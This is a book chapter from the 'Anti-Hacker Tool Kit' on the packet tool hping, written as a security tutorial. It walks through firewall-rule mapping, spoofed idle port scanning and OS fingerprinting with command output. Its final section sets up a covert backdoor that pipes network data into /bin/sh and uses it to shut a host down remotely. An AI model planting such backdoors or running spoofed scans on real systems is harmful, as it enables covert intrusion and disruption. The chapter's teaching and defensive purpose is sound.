Anti-Hacker Tool Kit, Third Edition

2017-07-07 02:10:07

< Day Day Up >

Typical Ping programs use ICMP echo requests and wait for echo replies to test network connectivity. A program called hping allows you to do the same kind of testing using any IP packet, including ICMP, UDP, and TCP.

Hping requires a good underlying understanding of IP, TCP, UDP, and ICMP. Using hping while consulting a book about these protocols is a great way for you to get a hands-on education about what these protocols do behind the scenes. In addition to being a good learning tool, you can use hping for a number of tasks such as mapping networks, testing firewall rules, stealth port scanning, and remotely identifying OSs. Hping also has a “listen” mode, allowing it to be used as a backdoor or for covert file transfers.

Implementation

The hping program can be downloaded from http://www.hping.org/ and is available in source. The install process is detailed in the README file, so let’s get straight to some example hping usage.

Note

The hping2 binary will need to run as uid 0 (root) to use some of the socket routines it requires. Make sure you have root access for the box on which you’re running this application.

Determining a Host’s Status When Ping Doesn’t Work

Many firewalls block ICMP traffic to prevent outsiders from mapping the network, for one. However, just because you can’t Ping a host doesn’t mean it isn’t up. Hping comes to the rescue.

[root@originix hping2-rc2]# ping 192.168.1.101 PING 192.168.1.101 (192.168.1.101) from 192.168.1.50 : 56(84) bytes of data. --- 192.168.1.101 ping statistics --- 3 packets transmitted, 0 packets received, 100% packet loss [root@originix hping2-rc]# ./hping2 -c 4 -n -i 2 192.168.1.101 HPING 192.168.1.101 (eth0 192.168.1.101): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.101 flags=RA seq=0 ttl=128 id=54167 win=0 rtt=0.8 ms len=46 ip=192.168.1.101 flags=RA seq=1 ttl=128 id=54935 win=0 rtt=0.7 ms len=46 ip=192.168.1.101 flags=RA seq=2 ttl=128 id=55447 win=0 rtt=0.7 ms len=46 ip=192.168.1.101 flags=RA seq=3 ttl=128 id=55959 win=0 rtt=0.7 ms --- 192.168.1.101 hping statistic --- 4 packets tramitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.7/0.8/0.8 ms

By default, hping uses TCP instead of ICMP. It constructs empty TCP packets with a window size of 64 and no flags set in the header, and it sends those packets to port 0 of the target host. In this example, the –c 4 tells hping to send four packets, the –n says not to do name resolution, and the –i 2 tells hping to wait two seconds between probes.

Note

The only way to detect default hping usage on your network is to set up an intrusion-detection system looking for NULL TCP packets (meaning no TCP flags set) with destination ports of 0. Some firewalls and intrusion prevention systems are also building in this type of deep packet analysis. Because hping allows you to build any kind of IP packet, however, there is no real signature you can use to detect general hping usage.

What advantage does hping’s default usage give us? It tells us whether the host is up even if ICMP packets are being blocked by an intermediate firewall. It is also unlikely that this type of activity is logged anywhere in the system if no intrusion-detection system is in place.

What kind of output do we get back from the system? len is the size of the return IP packet we received. The ip is obviously the IP address. The flags indicate what TCP flags were set in the return packet. In this case, the RESET (R) and ACK (A) flags were set. Other possibilities are SYN (S), FIN (F), PUSH (P), and URGENT (U). seq is the sequence number, id is the IP ID field, win is the TCP window size, and rtt is the round-trip time. Using a –V flag will give us even more information about the protocol headers.

The low-level details of the IP packet probably seem very cryptic at the moment. It’s great that we can get all this information, but what can we do with it?

Tip

Many of the tools in this chapter can be used by the hacker to gather information. Hping is no different. Hping is similar to Netcat in that it gives its user low-level control of network protocols. But whereas Netcat focuses on the data part of a network connection, hping focuses on the individual protocol headers. It lets you build TCP, UDP, ICMP, raw IP, or any other protocols you wish. It lets you manipulate header fields, flags, and options. Build up a particular packet, send it out, and see what kind of response you get.

Testing Firewall Rules

In Chapter 4, we talk about nmap’s ability to detect potential firewalls or packet filters that are obstructing the port scan. Hping can be used in a similar manner to test or gather information about a potential firewall, its rules, and its abilities.

We want to know whether a packet filter is in front of 192.168.1.50. Pings to 192.168.1.50 don’t get answered. A basic nmap scan of 192.168.1.50 seems to hang without returning any information. Let’s try our default NULL TCP hping against it.

bjohnson# ./hping2 –c 3 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.50 ttl=255 id=20149 sport=0 flags=RA seq=0 win=0 rtt=1.3 ms len=46 ip=192.168.1.50 ttl=255 id=20150 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20151 sport=0 flags=RA seq=2 win=0 rtt=0.6 ms --- 192.168.1.50 hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.6/0.8/1.3 ms

The host responded, so now we know that it’s up. Let’s try an nmap scan on a smaller port range.

bjohnson# nmap –sT -P0 -p 21-25 192.168.1.50 Starting nmap V. 3.00 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.50): Port State Service 21/tcp filtered ftp 22/tcp open ssh 23/tcp filtered telnet 24/tcp filtered priv-mail 25/tcp filtered smtp Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

Nmap got an answer on port 22, which means the host is up. If you remember from Chapter 4, if a host is up but nothing is listening on a port, the TCP/IP stack should respond with a RST. Here, nmap got no response at all on ports 21, 23, 24, and 25—which means a filter must be blocking it. Let’s use hping to send null packets to each port. You can do this by specifying a destination port of 21 on the command line and using CTRL-Z to increment the destination port after every probe.

bjohnson# ./hping2 -p 21 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): NO FLAGS are set, 40 headers + 0 data bytes 24: len=46 ip=192.168.1.50 ttl=255 id=20798 sport=24 flags=RA seq=7 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20799 sport=24 flags=RA seq=8 win=0 rtt 25: len=46 ip=192.168.1.50 ttl=255 id=20800 sport=25 flags=RA seq=9 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20801 sport=25 flags=RA seq=10 win=0 rtt=0.6 ms

The first three ports (21 through 23) didn’t respond, but we got RST/ACK back from 24 and 25. This tells us a couple of things. First of all, because 24 and 25 responded with RSTs, we can assume that those packets got through the filter and that nothing is listening on those ports. However, why did those packets come back through after nmap got no response? It has to do with the TCP flags! Our nmap scan used the TCP connect method, which sets the SYN flag on its packets. Our hping used a NULL packet, which had no flags set. Because we received a response on ports 24 and 25, it’s conceivable that the packet filter is blocking only incoming connections (that is, TCP SYN packets). Let’s test this by having hping build a SYN packet and sending it to the five ports.

bjohnson# ./hping2 -S -p 21 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): S set, 40 headers + 0 data bytes 22: len=46 ip=192.168.1.50 ttl=64 DF id=20804 sport=22 flags=SA seq=2 win=32696 rtt=0.9 ms len=46 ip=192.168.1.50 ttl=64 DF id=20805 sport=22 flags=SA seq=3 win=32696 rtt=0.7 ms

This time, the only response was from the open SSH port. What if we build an ACK packet and try sending that through?

bjohnson# ./hping2 -A -p 21 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): A set, 40 headers + 0 data bytes 22: len=46 ip=192.168.1.50 ttl=255 id=20806 sport=22 flags=R seq=2 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20807 sport=22 flags=R seq=3 win=0 rtt= 23: len=46 ip=192.168.1.50 ttl=255 id=20808 sport=23 flags=R seq=4 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20809 sport=23 flags=R seq=5 win=0 rtt= 24: len=46 ip=192.168.1.50 ttl=255 id=20810 sport=24 flags=R seq=6 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20811 sport=24 flags=R seq=7 win=0 rtt= 25: len=46 ip=192.168.1.50 ttl=255 id=20812 sport=25 flags=R seq=8 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=20813 sport=25 flags=R seq=9 win=0 rtt=0.6 ms

All ports but 21 responded with RSTs, which is exactly how open ports should respond to an ACK without an established connection. So here’s what we know so far:

Port 22 is open. Something is listening on it and it is not being filtered. We’ve established this through both hping and nmap.

Ports 24 and 25 responded with RST/ACKs when we sent them NULL packets. We can assume that nothing is listening on those ports.

Port 23 responded with a RST to our ACK packet, but it didn’t respond to the NULL packet. Because NULL packets were passed by the filter on other ports, we can assume that it passed on 23, but that something (probably telnet) must be listening on 23 since no RST/ACK was sent. Therefore, we can assume that port 23 is filtered, but telnet is running on 192.168.1.50.

In most cases, packet filters that block incoming SYN packets but allow other TCP packets are configured that way because they are stateless. This means that we are most likely dealing with an older, less sophisticated packet filtering package.

Tip

What’s the difference between a stateless packet filter and a stateful packet filter? First coined by CheckPoint Software in 1994 for FW-1, stateful packet inspection, or similarly a stateful packet filter, can remember the details of a connection. If you make an outgoing connection from a randomly chosen source port (say 12345) to an allowed destination port of 6789, a stateful packet filter will track this connection and allow any subsequent packets between those two ports to pass both ways until the connection has been closed. If you were trying to make this same connection through a stateless packet filter, the filter wouldn’t be able to remember the allowed outgoing connection from source port 12345. See Chapter 13 for more information on stateful and stateless packet filters.

Now, what’s going on with port 21? We haven’t been able to gather any information about that. It appears to be explicitly filtered, meaning even non-SYN packets aren’t being passed. Is there a way to determine whether it’s blocked for all hosts, or just a few specific hosts? Well, hping lets us spoof our source IP address, so we could try using a different address to see if it gets through. But if we spoof the address, how will we ever know if 192.168.1.50 responds? If it does respond, it will respond to our spoofed address, not us! Unless we’re on the LAN with this box or have control of the spoofed machine, the only way we can tell if 192.168.1.50 is allowing traffic to our spoofed address is by watching the IP packet ID numbers.

Start off by setting up a standard hping to 192.168.1.50. Use the –r flag so that it uses relative IP ID numbers instead of actual numbers.

bjohnson# ./hping2 -r 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.50 ttl=255 id=23544 sport=0 flags=RA seq=0 win=0 rtt=0.7 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=2 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=4 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=5 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=6 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=7 win=0 rtt=0.6 ms

If 192.168.1.50 isn’t involved in any other network activity at the moment, you’ll see that the ID is increasing only by one. These are the ideal conditions for the test we’re about to perform. It’s difficult or impossible to determine anything if the box is busy, as the increment will constantly vary. With the above hping still running, have another instance of hping send a SYN packet to 192.168.1.50 on port 21 using hping –S –c 1 –p 21 192.168.1.50. We already know it won’t respond, but watch what happens in our other hping session.

len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=70 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=71 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=72 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=73 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=74 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=75 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=76 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=77 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=78 win=0 rtt=0.6 ms

Nothing happened. This makes sense, as we know that 192.168.1.50 is simply discarding packets sent to port 21 and not giving any kind of response. Now let’s try spoofing a different address and see what happens.

bjohnson# ./hping2 -c 1 -S -a 192.168.2.4 -p 21 192.168.1.50 HPING 192.168.1.50 (ep0 192.168.1.50): S set, 40 headers + 0 data bytes --- 192.168.1.50 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

No response, as expected. Remember, if 192.168.2.4 were allowed to talk to 192.168.1.50 on port 21, 192.168.1.50 would send its response to 192.168.2.4, not us. If 192.168.1.50 did respond, it would have been active on the network. Therefore, if we see changes in the IP ID number increments at the exact time we performed the spoofed hping, we can assume that our spoofed IP passed through the packet filter.

len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=264 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=265 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+2 sport=0 flags=RA seq=266 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=267 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=268 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+2 sport=0 flags=RA seq=269 win=0 rtt=0.6 ms len=46 ip=192.168.1.50 ttl=255 id=+1 sport=0 flags=RA seq=270 win=0 rtt=0.6 ms

Lo and behold, there was other activity at the exact moment we sent the spoofed hping! We can assume that 192.168.2.4 is allowed through the firewall. We can repeat this test with other IP addresses to get an idea who’s allowed and who isn’t. The method isn’t foolproof, as any other network activity could affect your results and produce false positives. Regardless, hping has enabled us to map out some of the packet filter’s rules and abilities.

Stealth Port Scanning

You can use the same technique we just used to perform stealth port scanning from spoofed IP addresses.

Case Study: Using Hping for Advanced Port Scanning

A HOWTO document in hping's tarball describes a rather sneaky way of having a port scan appear to be coming from someone else—and still actually get the results of the scan! First, we need to locate a host that isn't doing too much TCP/IP activity. We can tell this by issuing an hping –r to the box and watching the IP ID number. The –r option tells hping to display incremental IDs instead of the actual IDs. This gives us an idea of how much traffic it's handling.

bjohnson# ./hping2 -r 192.168.1.200 HPING 192.168.1.200 (ep0 192.168.1.200): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.200 ttl=255 id=23886 sport=0 flags=RA seq=0 win=0 rtt=1.2 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=2 win=0 rtt=0.6 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=4 win=0 rtt=0.6 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=5 win=0 rtt=0.6 ms len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=6 win=0 rtt=0.6 ms

See how the ID is incrementing by +1 each time? This means it's not sending out any other traffic except to us. We've found a good host to spoof.

To pull this off, we'll need two separate instances of hping. The first instance of hping continually probes our spoof victim so we can keep an eye on that ID number. The second instance of hping sends packets to a port on the target host, which pretend to come from our spoofed host.

The following command tells hping to make it look as though we are the “quiet” host, 192.168.1.200, and to send a SYN (-S) packet to the web server port (-p 80) on targethost.

[root@originix hping2]# hping2 –a 192.168.1.200 –p 80 –S targethost

Now, if port 80 on targethost is open, targethost sends a SYN/ACK packet to 192.168.1.200. Because 192.168.1.200 never sent a SYN to begin with, it will respond with a RST packet. Because 192.168.1.200 will have to participate in IP traffic to accomplish this, the IP ID number on our first hping briefly increments by more than 1 as we attempt our port 80 probe. If we see no change in the ID increment, it means the port was closed (because a closed port on targethost would simply send a RST packet to 192.168.1.200, which would be ignored).

This is by no means an exact science. As soon as someone other than us starts using that machine, our results may be skewed. Still, it's one of hping's more fascinating uses.

Remote OS Fingerprinting

IP ID numbers and TCP sequence numbers tell us a lot. By analyzing the responses we get from hpinging a particular host, we can sometimes guess what operating system that host is running based on known “implementation quirks” in the operating system’s TCP/IP stack.

One such quirk that hping can pick up is the fact that Windows TCP/IP implementations use a different byte ordering in their IP ID fields. Hping has a –W flag that compensates for the byte ordering and allows the IDs and ID increments to be displayed correctly, but if we try to do a hping2 –r without specifying the –W on a Windows box, we’ll see a very interesting pattern:

bjohnson# ./hping2 -r 192.168.1.102 HPING 192.168.1.102 (ep0 192.168.1.102): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.102 ttl=128 id=8297 sport=0 flags=RA seq=0 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+768 sport=0 flags=RA seq=1 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+512 sport=0 flags=RA seq=2 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+512 sport=0 flags=RA seq=3 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+512 sport=0 flags=RA seq=4 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+512 sport=0 flags=RA seq=5 win=0 rtt=0.3 ms len=46 ip=192.168.1.102 ttl=128 id=+512 sport=0 flags=RA seq=6 win=0 rtt=0.3 ms

Notice the ID increments. Every increment is a multiple of 256! We’ve found a Windows box! Because all Windows boxes use this particular byte ordering, any box consistently exhibiting this 256 effect is most certainly a Windows box.

Note

The 256 assertion doesn’t work in reverse, however. While it is true that a box with an ID increment of 512 is most likely a Windows box, not all Windows boxes will have an ID increment of 512. Windows XP Home Edition, for example, does not exhibit this behavior.

In Chapter 4, we talked more about OS fingerprinting. The nmap tool uses a large collection of OS-specific TCP/IP patterns and behaviors for remotely identifying devices and their operating systems.

Hping Listens

Hping has a rather versatile “listen” mode (activated with the –9 flag) that can be used for receiving data. All we have to tell hping is what to listen for and what to do with it:

bjohnson# ./hping2 –9 hereComesImportantStuff > importantStuff

The hereComesImportantStuff tag is referred to as our signature. Hping will now monitor all network traffic for our signature. As soon as it “hears” it, it will start piping in any data that follows it. So if someone wanted to send us a file, he would issue an hping command on his box:

jdoe# ./hping2 –e hereComesImportantStuff –E superSecretFile –d 150 –c 1 bjohnson

The jdoe box is sending the bjohnson box a single NULL TCP packet. The packet data contains the contents of superSecretFile, which has a file size under 150 bytes.

Tip

Files transferred in this manner can get mangled. If you use hping’s –B option on both ends of the transfer, hping will retransmit any lost file fragments. When using –B on the listening side, you need to specify the hostname or IP address of the transmitting side so that the two can communicate about the integrity of the transfer.

You can do the same kind of data piping with a shell. On the listening side, we’d type this:

bjohnson# ./hping2 -9 backdoor | /bin/sh

Now, from the client side, we have a number of options. The easiest thing to do is telnet to an open port on the listening server and type in our command, prefaced by the signature.

jdoe# telnet bjohnson 22 Trying 192.168.1.113... Connected to 192.168.1.113. Escape character is '^]'. SSH-2.0-OpenSSH_3.6.1p2 backdoor/sbin/shutdown -h now; Protocol mismatch. Connection closed by foreign host. jdoe#

Note

Some sshd daemons, including this one, will log the text that caused the “Protocol mismatch.” A system administrator should be able to trace the cause of the shutdown back to its source.

Congratulations! You’ve just remotely shut down bjohnson by telnetting to its SSH port and submitting a command. If you can’t (or don’t want to) use an open port on bjohnson, you can use hping to send a NULL TCP packet to bjohnson’s port 0 and get the same result.

jdoe# echo "/sbin/shutdown –h now;" > shutdownCommand jdoe# ./hping2 -e backdoor -E shutdownCommand -d 80 -c 1 bjohnson HPING 192.168.1.50 (ep0 192.168.1.50): NO FLAGS are set, 40 headers + 80 data bytes len=46 ip=192.168.1.50 ttl=255 id=25539 sport=0 flags=RA seq=0 win=0 rtt=1.4 ms --- 192.168.1.50 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.4/1.4/1.4 ms jdoe#

< Day Day Up >

Implementation

Determining a Host’s Status When Ping Doesn’t Work

Testing Firewall Rules

Stealth Port Scanning

Remote OS Fingerprinting

Hping Listens

Категории